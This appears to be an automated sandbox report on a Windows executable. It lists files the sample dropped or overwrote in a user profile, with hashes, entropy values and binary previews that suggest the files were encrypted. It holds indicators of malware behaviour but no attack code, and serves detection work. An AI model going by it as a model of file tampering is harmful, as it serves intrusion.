Preview:	..........<Y...R.e.....}.g.w.8..-..:..I1..`.!0.'#......9...O.qS)\%$.xm.r.h....r\.....!=_i52..b.R.y..C.+.\|1@ufI...>C...j../i.ky..J...b..E.v.........^.X)..........3....w..M...]>..qj.!..O.?...a. ...._..C....\....C{N....?..6..2]...v.K..F...b.....y."M......+...;L....?...0o.N,..c....ms...L~..6...B...g..P]\.......t:.&.....{.$....T2=..j...........e.M~C.R._a...I.j....z.A..s....g...E..u.z.A.Hd."$g.s;M.8.....;.:y...(....)0".....8...Pb.+...)..\.S.....F.#.;_KX./'.vuVe.5......u...z$..?.L._.'..Ih....r.=$...EW(..D}..\|.(.<.;t.Y..b(8I........0.d.T.nut.&..6...SC........F...?.qI.1..l......&3.O....x{...(.A6.<LU.....=N.V...5.HVZ......U.7..Zl9+\|:..V.m...8...O+.x.G..}\.....#..4h....+n.2>.r..T.t.b.c...R/...U..OO.,..v.)h."q.0_.u.Hx+.\|..M....:P..W..v0...;..!m.....k......x..oP.:..D@.LS..{=.[U.{.L.../~p3...H.5.3,.2.."wE..W.L...cC}%H.1.(.....5......:.....#.....e....Pe.H....O..oL.G.v...t.S..J.bWU......e.V.~....'s.u..(lI.V:...vj......s.D......d..n.lH.6O.2..C3.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979006123558868
Encrypted:	false
SSDEEP:	192:mZQddj36GuyUKj5xrADRAXLnhLI167qgcR+ocm7O4:mQXqGeKj5xrFLdI163+p
MD5:	9DF004F7499BB79198BA309B4D39DE99
SHA1:	7A936D1B02913D04F746DBFAFD89022CE2110DF0
SHA-256:	8734E8D2A5332ED7863B04F9565E4AD82E169717E08F3364F873C06400986D0A
SHA-512:	5C8B9CA1B04DCE00607153F87E0FC644885FCE9F3292F58873884FE69A52CF9155454206F91AF5DC955B62F3888F3C5E4F7331BC91BAE879DB03166540AB83DF
Malicious:	false
Preview:	A......3..q..6...T.O.s..[.* .S;..p.q..-V..9bB.C.z....@<..X@.N0Hm...2...k.4*.^...OE+.G..h.)...k_.^....7.3..v.?f..L.;..E....b./...!...Q.[.....r\w.E{ ....ki.eW.$....$.".mTn....v..=8.)X..k.?...5........O.6.->.o.m.......J.{.....E.Y.p.....W..t..k=o...<B=..-.D.j.W...^g....U...~fKBDI...%.1n..O..J.bh.6..Q.B....wWBO....}../...-.......{>.:H.+.y.xAV(K.L...-..>..^.RN.....6#h.]....}'T...`.a......;..>....4~....[..`........."..R.....%.Z.{......Q..D.....f.......{.;./.....7..cN..\|.d.jfm....vP.!1...HV.3$"SC..)f.w...O..ju.$...KB.s..&.;.X...]..s......2$...f... ..O].}....x7..<=4..3..:w....H.K...x.G.....S..o...X2...!T........LE.......EY....D.8.(....z.7...7.."V)!.y...<..=q..X[.?s...@....q...c..[.Gj..F..P.r{P.c.a..T.5.z..G..1...AL.P..t....v.3..'.........!.c#1f^..$d.}4Z....yX.v....i....D..}..0..u..E....c.n.......^.w_v.~..Y!Ok..d.....nu....`S..j..a.+.........+...=>@.S.,OTk..R....._.\X..z..@.{...l.........!.._......c.5.,.4jl...[6MQ...H-..H...S\>...).....Z).~#.L.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	4.010377353382782
Encrypted:	false
SSDEEP:	3072:f+Uin+17IH4f3NAxf9YzNb3/LYzoujoWlWxJLoPlNOT7VRPDkSSnLRrR7tcIN8YK:fK3YfKxWhb8zoujoWAsBBc
MD5:	2FB62D189532BD1584CC9CD5AB509414
SHA1:	43098EFF2DD590840CD2F06A8BDE139B2B1344F1
SHA-256:	6ABCBB8BE6D931C6A329C8C9BA1D81D18E4CE4B103C7B166F6979A75A0377AEA
SHA-512:	C1C598E989176DF5763A5CAF982B47E9747CD0132054E3F70027708D52AF342A45D81BDA955E5A6DA66C55A08DC9B92DBF127B5F3141746886FDB430FC9A4369
Malicious:	false
Preview:	.......E.,.=..<...g...../.t.;~.9...]Hi..<.O....u.......4.....n@...#.Z......2,.Ei...EP2s..D..[...._.....M3A.....H....9....{.s......c..4..](3t......y...o.l.cr.a.ePb....0]..+.In9.wE...i....JT..D..w?J...o....%..lF=.....OYO.\..vq]-Z.'M>D......O.WK.c...li..g..@.Z.&....^.H.R...{.yC.]..)..qA.l.+c....7zY...{o.t6..\.......\|A.)....._....\|.-nU..K7........v.\_...s.%..t.,Bo...SBY:7d.u..a..$..9..0.^.E5.....i..X.$.vIB...u-d.M?...XV..IQT...b[.7.y...w.t....;...~D8V...C.h\.1 .J..p..ny...UK.....w....F...F.r_...P[^7.^o....s...S...99'"d...jtE..%..'.Ar=6.w@...t.f.`%2V..5..9>q-.7Q.[.n;........y....t=U...~[.!m...Ui.....l.i...j.a..=...._.}..........m/3Q.".G?..".#V.+..i.,...6..99.....x.k.Ul....Xd....cG`J.7.n....d.x...5..#........sY..wR:.=i..q<m3..Q<K~./.1.F.s[1...`x?4pr.`.lP^...O...'x..w>i.:Y....Z..p........6^..p...H..6y..g8..[l..;M-......%.......{..n&&.4..2...>Pr...........,...t.Xn..........j.5^D.lDy}.T0u.......(viZ.."........B..e....g.**.._u.n8,.\...x.)

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2083363390780373
Encrypted:	false
SSDEEP:	3072:gHu+N61kQP0yodimrMjZ6BTBM5A6BFM6B6+oQ9y1oEv:suaMRP0y2/Mt65aO8H9yVv
MD5:	E272832991325B9646D8967B8DC893B0
SHA1:	78BCC95330453C037C285F5CDCCC5A22C694516E
SHA-256:	C2C1C4420AB992F28EA478F6DEE0608E85C583F86A9C0070A7B9C652BCC40CEE
SHA-512:	69FB3A0FCBE3A38A06ACD0D84C25DB294E25D05ACAE0A147645A66587D8D1809E78D5BB6425A3DF7962326BE71FA8BFD2F06E658E237E44E72ABA1E16554550B
Malicious:	false
Preview:	.....>\..)........ai. ....V..N.zN..C.........B..Qg.f.zk...Ml..+3Oaz.....Z;..}...]~..........u..{+...:....A-=.J.d...{DD..A..{.sOKM.i..#.......\|../........:f..........&.d....?a-..2.[..(I.D....}...y...{,k.k.0.........-r....O....H.).8S..e..B.u.....x....f..#2/q.~..W..bT....P7...w...D.r.7......o......d.7.d.`.^t...uN.......z.^.n&........vE5.:M....8..E..`..Oz.e..XK..h!..c..o..H...".s"k...h@=n]......f...v....%T....X...d..A....M8.0+....<..S....-.J..4.@(.H.d..w^"..n.........x...H....3.3..oxU`......<I.g.=.4X3..}....o.>....R6].+7....x.....A......!...%.USD..aD.....N.I0lV.7...Z.<...he.Dd.cnY...D..6......Z.I.2tN.mh{. ..lC.].....H....JK3..#r5...&(..rUQiOF..t...x.t.I..(.)g...v&.P..X.....Q5..;D..5R...,..A...=.A.A......'w#..kX.......uV0.l..C..>.........wO[..8......7..........\|.!..h..9:.....>.L...u$...Si.AN?....r4.+:..U..r....,.....[(,RF..0...0..i......(.p....+.h5.&..5..\|..A..\X.....wd*[...i..l<.X.'.Z...Y...z..#...}...W;.$%..BSL.Fu...).D......

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207968261243813
Encrypted:	false
SSDEEP:	3072:GFH2sjLplYqrcXbg72R4CVGBn0iu38yIos6Xz7Y8e96eu/S4K+:EXrrUI2R4PBn0i4/Ls0s8e6eu/Sx+
MD5:	267BC97FE2AEA1A859560701D45CE9DA
SHA1:	184C1412EB803725BCFE19A93FD36F15381910A6
SHA-256:	22BC924D82B61B66AFA0CA332011CBB952113AAE10612736E15CFD823226856B
SHA-512:	07036EA22C265BD36078DB2C49A92F5850B6D9537E4F49DCADD474571D56BAB4426F434D41186BC61886DD992788B277D0625894406A2B42983EA19105CA9D84
Malicious:	false
Preview:	............a.lq.q.u.......K..&j..^.......3....9<q(..oA7.$.......4..6..j$.....V6FQ.....Ad+...cR....Q.....5.....f7:."....~D.%n%<...9.%.d.~.l.m./.3wb.......r.........&oN..QMH...a..=..?>..%C.#[...l....e....u.6e..Y...0.[oO.Kk.....e..b..:...<z.vR....q..o'gP`F.v.h$....e.Y>.....9...D.-.....=../....l>..Bf...b..f...6-as]..h..e.'<...M..".J.!D~./WL:i......~Mq.rh.0.....SQz.....w.Tx go.h.M..."bO5...SD.?...z}$.Q\.)TA.r?...V..lR..z./...D.U....j.o....=.....3QU.I<\|yF....t..q.7..B._.?i..9.>..A.o..6......3/.v.......k9.C.7.y,}.......mjf..B.{.......s>X(.h.3.o.....o..V)..nQY~$c].<!.......7...P.......{.P..5......aN..xO.i?X.._....I..s...6v.i.q4.Bs7A}.M"x.............tH..Fh.C=...,.n..@....[.S...L..1p.........o...a?\|....lI.TMM.Z.....G2.M...S.}....f....y.t8......6..<Y.D...R..:e._.N..K...w..[..."Es.R.h}.......7w.K#7..B....9....2mg...Z...=..........D..MN...........A3.J..Y...8...>::.`J<.u.Q..n.U...S2%..,.J..Lr..[!..........Vxi..@$."....8fl...8....K...4.^7.;.Q.EH.C?

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2081485749179444
Encrypted:	false
SSDEEP:	3072:zkQrHp9FObNZGAqEJRtIBzrW74ypK6DVN27V7SMYNC:YQTpOrNqEBRUyp9b279SJNC
MD5:	070FDC14B1E41970B2AC0A21B7588E33
SHA1:	BEF89A2B0A23F586555514061B9030AA7BAA8D92
SHA-256:	C14BE5AAB365823B83B4F0241AF0F5FD9C13BB1134FA0802E84310DE20DB030E
SHA-512:	E23FC858B1189A209325E17112EC209DE75E97D8365898871CA8A9F1122FB11A7C4D0597565A6D68574EC2039484AB1C5A1A26ECE9A3FFE9C2BC1E679539A55A
Malicious:	false
Preview:	.....EM[k .%...R..Z... ..?.%F....qy{.U.....h.:O.........uUh...%.k.....=.c..p...RH.....0%..}...NB....Q"......7...'tTl.p.j...6...S...\|.....=K...]..I..9....I......5N.h.1.....n..bI^=......n.1..b'd\c.1.J..{..B.nD.D..6.$.ZMH.."...&...M..i....G^.....r...l.y...+.NbI..d. qqU.......r.=[...uD..w..F./.W...a....M...5....9uC....&.`.Z....L.+......&D.T.`6..(...'t....L....L....p..?:.4.bs. p...n.8..0.D...u....$...np..~..>...l.\|`...m.Bd.S.7Y{.ix~z.f{\.pp.C.Jt.f..q.k.n.7.>.+..N.h.@...x..4...82x.\o.*GK..&....!....g...qX..2.?6...jh..<.t.D...%.......m.\|..99.:\| ....h.W.9...&.i2./;8.......[.}.......t.....Z..8....m@...D.N..x. ..1........2.G.qU#.'...#>...b.........n..Y5.....>...%..[pk.......?...l..:.Z....>w(..C~.;..M.4..#..U`..U.\|g..X...N~YwW-.....1z{.W...IQ:B=hSg.......^Q.......p~.W.\J.....0hj;+.....;^.Z.@.....K.w....r;.9g.M4.m.B....(q....6....Gl.3...JnS`.6......w'.fBS.....e.U]..=. .........9.ml..\|M0#\|.bm..{./A.....T....p....M.......c....m)........

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.937049757013891
Encrypted:	false
SSDEEP:	96:Qxg19M7kcgR5+cpdp+oVlc+gJZY2UWnH3H0dt3G:Gg1OROMoIBfUm3X
MD5:	DFBE0A040724BE0F4BEFF4DF7B69ABEC
SHA1:	6CCBA76641B7B80E74ABCF82683E2EEFA9D53022
SHA-256:	542F7E4B4570D917FE4790F962F64EEAEBFEA2FFDB06C893635D0DBD017967EE
SHA-512:	B62C2434B24A2CEED1C6886EC1AC33E62816FE1347B74B7E9F365433F5DDB7B571076252B10194C2B59068FBA259CE08A6033268A904F53C0D0B5865CBCA68BD
Malicious:	false
Preview:	<?xml.p....\Y....n...(.f.A.._...z.......P@..H.qM.1.~.+...8.@'}OC,.\.\.-R..:./{o].....`.....[...He...l..st..n...."Sc..M.%..u...Lf.p..#U>#..r..h+"`.....B........`....s.Q..d............oP..3.........w....._....\|.u.y......ea.2..zhSf.......S.../.k....7V...'.m.(e.Z.4..;.x.B.a9mVh.,.e`...J..u1h..0.......8i.H?.z<...I..G.......@E.z........M..._0(4p...a.un...Z}J..v.q.=xk:.].p.!....KK8.._..>=f.....E.T{...j.4.L.z"....H.H7..z/.8hm.q>........K...qf.....=0..# V.d.{.E.o.J.(g+...... .h.A..*P...V.....0.J`Te....P...V......../.{Y..&...b..w.C.V....784b<..B.d.9.wEvs3\|~...g.d.............&{?.ir.!...S..f6...v.{......c..q...!./.._+85z.....}..`.u6.n.....\......q.-.t..hH&..!{w5.....kUD...._6v..Mx.,#....L\._h..9.._.$..S./.P.O..K(...O/.....(P..\|T./.....t..(Cn.l...-x%.s..L..5K..b....5..1H.....#c....x..+f]t5.8.x.I..#..r..@.\|1..../..('D.h.inO....W)1..`V6..1.;-...]+Gp.l.....r../..9sx...k_...>7.z.....[L8.u.....O....V..G...wh...;}<.C......#...g.o.B.[3...Z.,8..2j.jY.Y.Hb.m.4.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\brndlog.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	6906
Entropy (8bit):	7.9770584818623025
Encrypted:	false
SSDEEP:	192:Bg9drG3M2+y10K9Z0w6dKRQ+w/y7PMIjnOXkRJfWmm:BwdrgM2+y10K9Zp6sRQ3/y7PMIjOWPm
MD5:	6D97F3D2D5A984263A72D1250E5D933C
SHA1:	7D19CA986242FBA08B71C7B6EF27A96F3B0EEB7C
SHA-256:	04F4D20E597EFE6D533163484B2F4BF574720345471FEC9EC8F410AA5D90978E
SHA-512:	8E44790ECD71917B54D5D6F5686A4B649279C1CF1922969DDFFD7E5542B8C203458A3283AA14DDB72878B40866D7E77F39111E25D80A72FAEBAE31D9EC06AAC9
Malicious:	false
Preview:	10/03U.5.=Z.+.,=.\|A.....]h......So.k.}...CC^.)...s..SE,.9p_.a..o.WzK......$.+$..q..kM.[.K]wz.K..2....g....\|[$..B.).,...p]s.]....N]l..!..W.CZ.C"..:_.....=R......W..`a.y....t..&..=...U...XZR.[...+...-..e.Z.;4O....l......x...m..\|H.hA^.....1\|v..a..V..f'4/..m..&...)...[../>......;......Y.FG.k6.:Q.p..k:3U$y..A..........S..G...M./..s...3........D.PY......$..V..0.\|y.#c..?...Rjo....:....xZ><u.r...hY2T....h.;x......\...G.Ep.7r."...1.\2W"..........Y....$.q.P..tm[..-1....<o..0......k.l.K..Jp..X..\.0....%E.......g..}bz.m.@.3.(...I63.8.`N.....h3....M..B=...k..;..vT........".e..F.MN)O..D.3..c....H...=r.0..3.......~.\|{.D8...D.S....a..3!.M...k...F,...n........o...&9.WjZ.YX..A..}X.xj...~....L../.a=.....qsk`..9..%...e.a..?.I..-J..)"..-E..S.a..:...;.Yh..._:..e...v...q.AcYy.......].Zf..QD...xh2.Q...e..K...*...Eg.L..#"...\|.f.z.1..;..X..W.E.\.....;..mgB2s. yH;...[..>(p.c...q..F....^...y,k(Ma../.L..6'.)..r....../.k$.:.. .v......y....L..A..xM...e..Z..Z.1.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (416), with no line terminators
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.766963455508458
Encrypted:	false
SSDEEP:	12:QHgRMfdhQUKaTIaU7iBmwlD8NUp6gOuoZbP10uJ0HvsbLNdraK9ImpCjZN3oX2Sw:QHvf3ywlLp6gIbPJ0HuB14jZN3oF2bD
MD5:	3381A029978F088A173FA2AD8F42B704
SHA1:	1D9B747C233A5B18A30D98C521AC557ECC3151E9
SHA-256:	CCFB0EDC2EA3DEBB5052CEC4623D0D067D01473572D999A2230809EDF9248F68
SHA-512:	7A9A237E6C4AFD022421CB2E89C8DA11BB36940E2E1323796AF3D4DF93918B182DD5B93F2ADC89C995A0B2E81A143459ED841092D74A7A26B2B6A12CF9C43427
Malicious:	false
Preview:	..1.0G.Y..q.k../.7u.{......-e#./m..TS?.].`..;Q..9_....y^O.3...........E.$!&..n....5.....PH....0..5a.~i".]v....p5az.tl..F.!.].tI....G...O<...A....g..._..a.....b.'.hk../.:.zV.`...q...}.~...........,}..C...m...t..<k.a...d.....W~E1.?. G#..A..o@(5..W3qS\U..j}4..PC..o..a....ma.....r.....1. @.;.e5......T..`...8E.P9._l.R#tk.O...Vp.U .....g.F....N...............Gz...sD.4.....!..Z.k.....~.V=.....P.q..x.....M.....1..>w.a;.6C..0....5...$...........g..'............l...&...BL..j..g.?......H,...5\c.x.3............!O.............5bq....&.vd.$.0oX-.7TR.....Bv.G/;..?..y.o..7..xh.P..6.~....d..a....."70.<....J....Y".25(.n-v.%q^..tY[.....d.L...5.e........b...RA.!]......A.$N...6..q]...f..L...J.II......l..?.Y.....end .ENumMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\ie4uinit-UserConfig.log

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (869), with no line terminators
Category:	dropped
Size (bytes):	1740
Entropy (8bit):	7.889576070544412
Encrypted:	false
SSDEEP:	48:2oo3glBffh8jQQNF2Dx+eod8iFVvgZ8JZ0ZcD:2gbxb9xNod8iiMyY
MD5:	5FFCD572DEC734D9AA44E8D828DA1D7B
SHA1:	BBFB50F326D09CF9BAF3C79D7F45179C29BAF40D
SHA-256:	90219780A13B836B4E1267049AC0D6C1CBEA63A21B1BA20B7467D323B2CFFB63
SHA-512:	54BF2970BF04805435DF7384EF189E48ADE81AD51D13E162B3B405F30599DB75F12E81FFC7F9115CD123522CF3A3CC26C0C9A32944C95DC7BA8A009FB342A078
Malicious:	false
Preview:	..1.0.S.(..2.S.&.dB@..]n....s3.[..A4}2.7.u?[..B....\.W.-.%......)..{b..Q. .TSJ.~.p..............G9D..,.~B...^.@.V._..`......r.<'~.Z...V.....@.5.........o.?w%IW.[..d..o~X7.[[...>.\/..`.[.5..iZ.9yV..A.+..l2.3h..Gl&......g0..Z{.=. ......g{.\8.h.O...$...s..k.......9....^SK.\U.....<i...R..o.M..b.y.Xx3...u.)......W.Ad......o]m.Kd'........e.yZ.L.!:...X.f..U....E&~T.........fh.....i.n..4..Z..* Z.......#...O/../.3..`.Qh.@..$....}...; ..Z.......O..3..p.qj..MT..z_......P$.... .x...%t....zml;.2.....k....K.x^. ...Xr.nc8.)..5....`4........aB..;..+}>.E........./.,.>h.).D_DcQ....R +..c..V...Qo16..;.."Q...ZU.S...e.....)j.?.]..e.}..#...............y....O?.h.M...._@...M..8[?.,\t.x,.T.../.{...6A.2>....N....._..Jb...`......\|.P.(K%*T.e.@$`...g.Wp{...&.M,\|..EOO......`...k......."....DFp..&......g-.@...U..O..........`..1E.h$.P.p...+F.K....w...".....Fg..d...l........&W/.-......$.1u.B..o}h3..L.......X....b.. .S....^p..M...C....s..+.d.l..c7...z.}..J..+....1

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\01_Music_auto_rated_at_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	7.8468611659318945
Encrypted:	false
SSDEEP:	24:aihJtu6HY0ISBCA3V6jimNYCCSAMnLrTU2L0P504SSTgrX+OmeLkfVeJ1HGL1r2X:j3tu6HYc3DDCjLrPW5A/DCeLSV8HGxYD
MD5:	879934DE7622B4E25ECDE0C74C3F2FD3
SHA1:	B346C957F4F121EC07D950E5369FDF66D2D32D07
SHA-256:	4C525B922A2BDAF757F870F827D87B602D633CB53C4CEEFFC12028C0C2842FAE
SHA-512:	328039FD988D1F46EF83025C32E48D7F92FFD27072D809E1D45525F23D19A2A4F5BFBA6CB0F4D3128723B0E522AA03832ABB4994797A52D16E1A92DEE1856250
Malicious:	false
Preview:	<?wplM..ke5.._..N."..6......i........X".!.w.....]{...}.>......W..7....WJ.C..m....X.>....s..V.m.@....1...ES......1....J....e...i.....6.P.#.}.wM..cB@b'..8c`p........V..h..Q.....oxu%9......`>...i...3{l.+.9"Q2..y-/.x...K..4.'....@.?...0..Z.5.,...L..N..'(....G..).'U..$.a.Cl...ad..p.-..._..:...A=s...j ....z;O..>.,..Ta.n>.S(........S.n}.I.s..7N.h..2..BTV....a....T,f.s..a.O......=....Y..j#...G:...s{.'1........X.~.)p.u1.\-....R.&Y..f.1$...O.y)D.$.....A....;....1.E.....5.q.,.t.".6.;@.....f...ba.{qFs!B?=..t....q.....5`#i.e.? X.......}..P../.^P...L....V.........LY-.f5p<D.@wa.\|...K.\|........J6...g..go.k..i...\v.B..N..PJ.!..K..Vn..C2.....au})...Vk.EL.k8.6?...V..1g..Y...T.k?/....-,.#..K7.....\|..ho"Hg....D.....;\+...+..w7y....K.w\|.......F...(^..s.......D@..4p.x\..Kh.....7...z'..^.o..]e.....Q.G.....k....h....$2V.>.......C..8.$......8<}..J.o[......._..+7^N..}..k. .me....pz...H...1.Qtm..S...I...-..I-...j7..~.a....W...@dL...Lzd.Ci6.9.....N.{...~h.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\02_Music_added_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	7.879706650508775
Encrypted:	false
SSDEEP:	48:3HiQyP1hZzisjATQ5rv5nESOHTseG9Z2rPhD:XijP1HziQxp5ESpMR
MD5:	4B8D2EDA025D038115CDD7B460D1D2B6
SHA1:	D6FCBE0FBDD787D23D4564962D2367A9EC9CFE2B
SHA-256:	9016F30A98EBC2339AC90389A2C399D6B43C764A4CBB21C1F712C127A86EC01C
SHA-512:	400A64D5B81A13FE29215CD24C9A46DFB645CBEE1AB407B1167733BA35E6A2E721D2E820C44D888377054F4FDB18D736FB86C0BEB21DEF27A4CB427DB0D1AF8C
Malicious:	false
Preview:	<?wpl<#7.....F.d..rf..h...D.. {.l.22(..On...I....,....]..P...xTq%.8.Ce.(..(.z?...V!............r7..QJ...^.....V..>.2.8...Q....s..bnK...tX..B2....ed)<3....T.$K.$..3.z.....$..rw.8..........)g...!...\...[.(8...t..z[W.....@...j"P1.....\...NKX5b./NJ..K^....c...<...^m...N..[.L.S.5...]!....Y../l..@4.G;....z\|V....uU.Z..W\|](s=..O.x...e..-..E.c...T.u...l...&..d_A.Pj.H0+?....t..3P ..2.Sh.7.xuJ..P.I.=6.gD.Z....d..D....I.8...+-.2....pU:e.H.....%......x..$W.'......Sm.....K.}.d....%v.KZ.....R...[f..!t.,.r..o.\|...!j.k<....JE$....F4f....l\....;.....rJ../.?......B7e.1...=M A..w.2....'8r.].52.....I.1.Tx.cem(....(..G....Rh.....(=.4Z.P.=.H....kl.........c...(...A..).It.M.iHkL.I.R.....#...F...!./.]_#.M[....n`R.e..X......,..eP/=..3.............j...e.....k;.m1u....!+.@.c....."...Wo....~9..a..`.X4n..m....eJz.dz....c..<.........S.........^...2._[.Z...m....UQ.>.........@O.av...\.T.......D....8_.5..OS.Lc..C7W.unG...j....V...o..V.}.z=.R...N...-$F..0Nf..7qE....=.....

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\03_Music_rated_at_4_or_5_stars.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1601
Entropy (8bit):	7.869552816365765
Encrypted:	false
SSDEEP:	48:F+9/rTpiC+f6FKHH1r3TGgABG52mnv2F/SD:IRTk6InlGgDnv2F/6
MD5:	016931228C4E249B2CAD60ABE8223396
SHA1:	471CBC7A575101E79A698AAE552850C1669B4DA8
SHA-256:	1C6DDF8067B61488D7FE45960AD9D4A46448B37EE54C4F5B7A5CA21E755F4BDC
SHA-512:	FE4B605FA84049DA52BDA0479FD868F32319087E777EBAD7D801275D24EA201060DE196E76F2C0CC140012E09C01BAB85F3360306E2D453D16D8350D947915A7
Malicious:	false
Preview:	<?wpl..........B.1...L.Aa......<......D30i+....l.c.&......5."qo.q.+.I..U.V..V....c...Q.w.Kz........L..}.2hNgWn>.../....m...?m.....?...yb...l[.J..,..F..@3. ....B>......i..o...Q......c..:..B..............XKc.....[."P...NF..}.,...].@.....n&.@..}O_.......\Z.u.....(.>".d....../........8..\.....H...8.'Xs.)j.\.\|N.......zT....92.Y?\|./g.3.aZJ....`..M.V.K".Xw.\|.A..g->hm.5 Z.....bhO........h..htG..7t.MQ.!&..6(-.c1).....v.m.....k.H...'_....xMs..D`.m%......9kiE..>.n9>.w.[&1.b...K....442..yip..g....iS.:.\|.NH.h.......t...F.G...i"..?.R"....!.\|..{j.J.a%.......JCh.b`.\...#..-\.yOZ9L..E.@.@e..~..7..@.....N$s.Eaz-0...4..+...Y.....e8.>........?....x+....m..!<..Dh..~8.H.0q..Y..!..K..........'O:8.ytb.!3=6.g.C..kI...DP$.u.y\|.&5...nMW.=o.L...G6=.JpV!...9n/.s..+1.9.X.Dk.{.#~...+....s..N.o...8-.....8}.T......y.(...t.n.%......;...H..Hcx.)%....-AQ..}P.B.T..<z.9.s.o..w..C\|.?.K.!..E6M.N...^.}..J.._...>Y&P>Y......-`...WB..}.<*...l..[^.g.\|..).N.[b...,.+....z...(..T.

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\04_Music_played_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	7.878833594104888
Encrypted:	false
SSDEEP:	48:6+gv26sRMFYqcRCHBzQYwQXcFkhnR9aiHD:6+yvsRMFY+cFIR9xj
MD5:	E8581932EAEC2D6DBB8C8BC05DA720B1
SHA1:	485E28EC7E80273674DDA55996801EE30DE8AD55
SHA-256:	72B98AFC0B417242F3F90D3CBECA69277E264119C91F713E6A60B5DF1C4A9C30
SHA-512:	EA3F47196CD4815E4DDAE713DAC2DF10E9590FDDE78414BD11A1812BCE51F1F46B1EFA8E1590E849306816F0CF303D3FE118966371ACFFBC4691A6AD67A900AC
Malicious:	false
Preview:	<?wplN..`...7.:.....,.(......Kw...B..s.....:...l..._?....Dff+.t.?=.+..%)....yh.....Qg.d.@"x&..N.j...b......IF...S.>..t.........#....X...D.oI..~ ..xh."Y..ZUaI.d....v.S.:....,6._xQ~.....+.%...A.Ck....?.....^..A.....A..=Y.....5.C.....^..._.$RVD..=.7.c......S/..N....C.~.6.47..D2..%...K. .b..H.9.O..V... `fO..0..x.D...)$.U.6.[]...N.F.U..!..p.........b#.tR..X..x....t.@_...<.ZT8]...on...J..&+Woz.u....:.......K=.....00.8...U.l.`.(4....PoT...G@.J\|h..t.M...r.....Z..... .f.m^.W>s..w......SNE...8..x..H.XQ).t.....@=.C.<[...My3.0......T.Z..K\|.>n.....4=..n.. .}.. .Y..,...oA2?i\|..:[..~.....p...)#gc1../.....Unk.G.:....1..i...6/.Z.6.....S..{7_!......02....e..........u2..{..G.W...y...q...].h......h`L.&.....U.;....\......%..BvZ......e..AP_..... GoI+..5.+.4.....K.......-.P8I.....1..s.{..oPz..v.c......I.i.....4Y..<.q....@...s+..@..N....?.....7..a....X.4d..l....g....^d"3.s....Ce..\|......TA.D.d$.:F..K.m.;..._0.(.i~..S.>..&.....%..y......q.BgG.7.s.....>.i..

C:\Users\user\AppData\Local\Microsoft\Media Player\Sync Playlists\en-CH\002370B1\05_Pictures_taken_in_the_last_month.wpl

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1131
Entropy (8bit):	7.835259069413417
Encrypted:	false
SSDEEP:	24:zMFZEqB14TAUjebAkHm3dLDG2dWiP50MCptTeZJl3+BiUIPSHjAf2bD:zMFZX1eAxxmtLS0WiPRCptTevlVOjA8D
MD5:	D65CB6248060F66FB7DF70C582255204
SHA1:	2D7EA1CC036E8D7BA76EF4DD45B22E64877945C4
SHA-256:	31EDEEC5021104B10D9A82648C4CBC866B679C4B188807518E18ACD89A6F4B47
SHA-512:	F629E69936349856EEA0643A60CB11C0A17F015E012E93A92CADB24A90A6DFFCA4D74BA1A482B855B438AB6BAD17BE9BB397BBD9329DE932B2CB5D3EDFC4274B
Malicious:	false
